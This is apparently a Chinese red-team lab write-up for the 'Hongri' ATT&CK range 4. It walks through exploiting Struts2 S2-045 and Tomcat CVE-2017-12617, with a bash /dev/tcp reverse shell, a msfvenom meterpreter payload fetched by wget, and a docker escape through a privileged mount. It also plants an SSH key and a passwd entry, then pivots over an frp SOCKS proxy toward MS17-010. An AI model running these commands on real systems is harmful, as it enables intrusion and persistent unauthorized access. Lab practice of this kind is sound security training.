ATT&CK红队评估(红日靶场四)
靶场搭建
共有三台主机DC、WEB、WIN7
机器密码
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008
网络配置
首先创建子网vmnet1
WEB服务机配置如下
DC机和WIN7配置均如下
攻击机kali的网卡和WEB主机的第一个出网网卡一致为NAT模式
WEB主机(Ubuntu)上启动环境
sudo docker start ec 17 09 bb da 3d ab ad
拿到ip,打靶开始
外网打点
先上namp扫一波
1
| nmap -A 192.168.80.134 -p-
|
发现有 22 2001 2002 2003 四个端口开着
上goby扫一下
发现2003端口是phpMyAdmin服务,本来想先试一下弱口令爆破,结果一访问就上去了好像没设置密码
但是除了22之外有三个端口开着那估计是有三种上shell的方式
phpmyadmin上shell
1
| show global variables like "%secure%"
|
发现读写权限没开
1 2 3 4
| secure_file_prive=null //不允许导入导出数据到目录 secure_file_priv=c:\\www //允许导入导出数据到指定目录 secure_file_priv='' //允许导入导出数据到任意目录 secure_file_priv="/" //允许导入导出数据到任意目录
|
再看看日志记录有没有开,可以使用日志写shell
1
| SHOW GLOBAL VARIABLES LIKE ‘%general%’
|
日志记录功能关闭,尝试手动打开
1
| SET GLOBAL general_log = ON
|
但是发现权限太低无法打不开
Struts2上shell
打开2001端口发现是Struts2
用工具扫一下
发现了目标存在s2-045漏洞(CVE-2017-5638)
通过利用工具exp等直接进行命令执行即可
kali开启监听,rce反弹shell
1
| bash -i >& /dev/tcp/ip/port 0>&10
|
shell回弹成功
Tomcat上sell
访问2002端口是Tomcat/8.5.19
网上发现存在漏洞CVE-2017-12617
直接上github
https://github.com/cyberheartmi9/CVE-2017-12617
成功验证了漏洞的存在
可以直接rce
由于两种方法获取的权限都是root权限,可以直接进行下一步
到处外网打点结束
内网渗透
打算先把shell弹到msf方便下一步渗透
先生成一个马
1
| msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=8888 -f elf > mshell.elf
|
开启http服务通过命令执行下载
1 2
| python3 -m http.server 8000 wget http://192.168.80.128:8000/mshell.elf
|
开启监听
1 2 3 4 5 6
| msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost xxx.xxx.xxx.xxx set lport 8888 run
|
1 2
| chmod +x * 给予执行权限 ./mshell.elf
|
成功弹回shell
内网信息收集
执行ls -al发现了Dockerfile说明是在docaker环境中,要拿下必须进行逃逸
他检测是否为docker环境的方法还有这个环境检测命令,cgroup可以理解为用户和组的关系
docker逃逸
利用dirty cow来进行docker逃逸
这种利用方法利用成功的前提是,宿主机的内核有dirty cow漏洞。
1 2 3 4 5 6
| git clone GitHub - scumjr/dirtycow-vdso: PoC for Dirty COW (CVE-2016-5195)
cd dirtycow-vdso
make
|
但是经过测试本机不存在这个漏洞
利用特权模式进行逃逸
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
在这里发现一个问题,通过Struts2获得的shell,的磁盘文件为空,所以利用不了
所以这里使用tomcat的任意文件上传上传了一个shell
生成哥斯拉shell
上传
连接之后执行
有返回尝试进行挂载
创建一个文件夹,将宿主机根目录挂载至容器目录下
1 2 3 4 5 6 7
| mkdir /out mount /dev/sda1 /out cd ../../../tmp ls mikir test mount /dev/sda1 test cat test/etc/passwd
|
ssh连接
向etc/paawd里写入账号密码然后进行ssh连接
方法1
可以在相同的ubantu创建新用户复制到此文件中
我这里向
写入了
1
| yaya:x:1000:1000:yaya,,,:/home/yaya:/usr/bin/zsh
|
向
写入密钥
1 2
| yaya:$y$j9T$TISw4upU4y08IrsHahZwe.$FQ5rY2TlIClHPBngJtmBDKpf1PdcvkwHT..C3HuOf12:19273:0:99999:7::: systemd-coredump:!*:19273::::::
|
方法2
这里直接写入ssh-keygen公钥连接
先在kali生成公钥和密钥
执行之后会生成一个密码文件
讲内容写入目标靶机
1
| echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD0y3RzGTTLabQjOv0QALZnrPq1Rf2gGOwNZ+AIGVGHHVWun5MZhJRo+FBGhAVrFIwvYchZzKRs8T8W7YmsSBHykKMR6LfpYl1QOXop2eCSOTwj8dfYgPFv22d7pdYK4Vicmwu9RIpcqAdrZ1E0N+WgdIxDz7/rHi9Tku7o2DkFekvMM6UOkmGo7CL0C17iAyRmAlIOBV/+oz6MdPQOSJ4BpcvS6U9kS3dJli8fNDylt+wWH4Uh5CbuJnfJDiOkm+Tvxw6qBpv9t5v1iWK3cXwFc60g2oGm68fuBV1mrLEQQVdcpj8xczWfMzJFOxWBHSVWWcwHT7L+BI6SKvXtOlLtRJbZ+KtKBGXRF/XKMyjjtd35b5Ol5Ounn7OEqrE1/epQbJ7NjDj2apNcpg+xIZQpLJIj9qREDdtpkFmii8XsZnZr/uBy2D5wUMpFinE9RMGoqcxj1BWIXclrQy94e1Vjyd6n/JtirspLMNOhSxjNuydewq0pd9VwQkcEhYaIZ9U= yaya@kali' >> test/home/ubuntu/.ssh/authorized_keys
|
连接上ssh之后才算拿下了这台机器
发现第二块网卡,应该是内网网卡,因此我们上传scaninfo进行信息收集
为了方便上传直接上ssh工具
上传之后执行
1 2
| chmod 777 ./scaninfo_linux_x64 ./scaninfo_linux_x64 -i 192.168.183.1/24
|
工具真是好用
探测到有三个主机存活,那么应该是一台域内个人机和DC,还顺便扫到了MS17-010
经典永恒之蓝
搭个代理直接上msf
代理工具选择frp
配置文件frps.ini
1 2 3 4 5 6 7 8 9 10 11
| [common] bind_addr = 0.0.0.0 bind_port = 8000 dashboard_addr = 0.0.0.0 dashboard_port = 7600 dashboard_user = root dashboard_pwd = 123456 token = 1q2w3e heartbeat_timeout = 90 max_pool_count = 5
|
配置文件frpc.ini
1 2 3 4 5 6 7 8 9 10 11
| [common] server_addr = 192.168.80.128 server_port = 8000 token = 1q2w3e
[proxies] remote_port = 6000 plugin = socks5 use_encryption = true use_compression = true
|
执行
1 2
| frps -c frps.ini 服务端执行 frpc -c frpc.ini 客户端执行
|
成功连接
然后配置一下msf即可
1 2
| setg Proxies socks5:127.0.0.1:6000 set ReverseAllowProxy true
|
成功连接到内网机并且扫描到漏洞
接下来直接用攻击模块攻击